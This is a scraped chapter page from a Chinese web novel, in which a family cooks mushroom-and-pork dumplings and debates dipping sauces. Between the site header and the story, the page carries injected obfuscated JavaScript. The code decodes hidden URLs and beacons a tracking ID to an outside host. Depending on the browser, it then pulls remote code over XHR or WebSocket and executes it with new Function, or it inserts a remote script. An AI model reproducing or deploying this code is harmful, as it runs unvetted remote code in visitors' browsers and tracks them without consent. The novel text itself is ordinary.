足迹
果果呀
登录
关灯
护眼
字体:

第363章 舍不得蘸醋(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

但是热饺子盛在一起,还没吃完就要粘在一起了。

“江浩,去打一盆凉水来。”

“好!”江浩找了个干净的盆接了一盆凉水过来,“是要在锅里添水么?”

“别倒别倒。”白叶拦住了江浩的动作,手中笊篱抄起来,直接倒在了冷水盆中,然后快速捞出控干水装盘。

“这是干啥?”江浩目瞪口呆。

“这样在凉水里浸一下,饺子马上就能恢复热度,不会影响口感的。但是却不会粘上了。”白叶解释道。

“嚯,还有这办法。真的假的?”

“真的。这样打包才好,要不然客人带到家,那就成一坨,没法吃了。”

“我真是第一次听说。”

“不信你看着的。”白叶笑着将所有的饺子都如法炮制,然后端上了桌。

就剩下最后的两盖帘了,也就不需要两边一起煮了。添上半盆水重新烧开,两盖帘直接都倒在了一口大锅里。

“江浩,白叶,你们俩进来吃饭。那饺子就在锅里煮着不用看着。”姜兰招呼着。

“来了来了。”江浩和白叶也没打算一直盯着,两人通了下锅,就跑过去吃饺子了。

桌上是有砸好的蒜泥,是白老爹刚才砸的,放上醋和香油就是最好的蘸料。

家里人喜欢吃辣,刚才白叶还将自家炒过又剪成辣椒段拿出来,撒上一把白芝麻和一勺盐,炸蘑菇的热油一勺子浇上去快速搅动几下,那就是一碗香喷喷的辣椒油。

各自调了自己喜欢的蘸料,但是这第一个饺子,还是要尝尝原味的。

蘑菇虽然提前焯水了,但是并没有攥的特别干。蘑菇吃的就是个鲜味,鲜味都攥出去了,是糟践东西。

再者就是肉馅也不能太干。

这样蘑菇半干,和肉馅调在一起,恰到好吃。

等饺子包好煮熟,密闭的空间内,肉馅和蘑菇抱团在一起,被外面的热力催促下收紧成一个团,原先隐藏在馅料之中的汤汁就被逼了出来。

咬开饺子,里面一口鲜美的汤汁也同时会进入口中,实在是鲜美无比。

众人吃了个原味的,都有点沉默,迟迟没有去蘸碗里的醋。

太强的味道,反而会压住这鲜味,得不偿失。

“我之前听一位美食家说过,这饺子,吃五个原味的,再来五个蘸醋的,再吃五个蒜泥啊,再次五个辣椒油的……”

“再坐着吃五个,站着吃五个,躺着吃五个……”白安安接话茬说道。